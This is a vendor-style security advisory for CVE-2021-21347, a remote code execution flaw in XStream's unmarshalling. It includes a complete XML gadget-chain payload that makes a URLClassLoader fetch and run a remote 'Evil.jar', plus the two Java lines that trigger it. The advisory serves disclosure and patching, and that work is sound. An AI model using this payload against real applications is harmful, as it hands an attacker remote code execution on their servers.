CVE-2021-21347

Vulnerability

CVE-2021-21347: XStream is vulnerable to an Arbitrary Code Execution attack.

Affected Versions

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                    <a class='string-array'>
                      <string>Evil</string>
                    </a>
                  </outer-class>
                </names>
                <processorCL class='java.net.URLClassLoader'>
                  <ucp class='sun.misc.URLClassPath'>
                    <urls serialization='custom'>
                      <unserializable-parents/>
                      <vector>
                        <default>
                          <capacityIncrement>0</capacityIncrement>
                          <elementCount>1</elementCount>
                          <elementData>
                            <url>http://127.0.0.1:80/Evil.jar</url>
                          </elementData>
                        </default>
                      </vector>
                    </urls>
                    <path>
                      <url>http://127.0.0.1:80/Evil.jar</url>
                    </path>
                    <loaders/>
                    <lmap/>
                  </ucp>
                  <package2certs class='concurrent-hash-map'/>
                  <classes/>
                  <defaultDomain>
                    <classloader class='java.net.URLClassLoader' reference='../..'/>
                    <principals/>
                    <hasAllPerm>false</hasAllPerm>
                    <staticPermissions>false</staticPermissions>
                    <key>
                      <outer-class reference='../..'/>
                    </key>
                  </defaultDomain>
                  <initialized>true</initialized>
                  <pdcache/>
                </processorCL>
              </iterator>
              <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
              <buf></buf>
              <pos>-2147483648</pos>
              <mark>0</mark>
              <count>0</count>
            </in>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

As soon as the XML gets unmarshalled, the code from the remote server is loaded and executed.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream.

Workarounds

See workarounds for the different versions covering all CVEs.

Credits

The vulnerability was discovered and reported by threedr3am.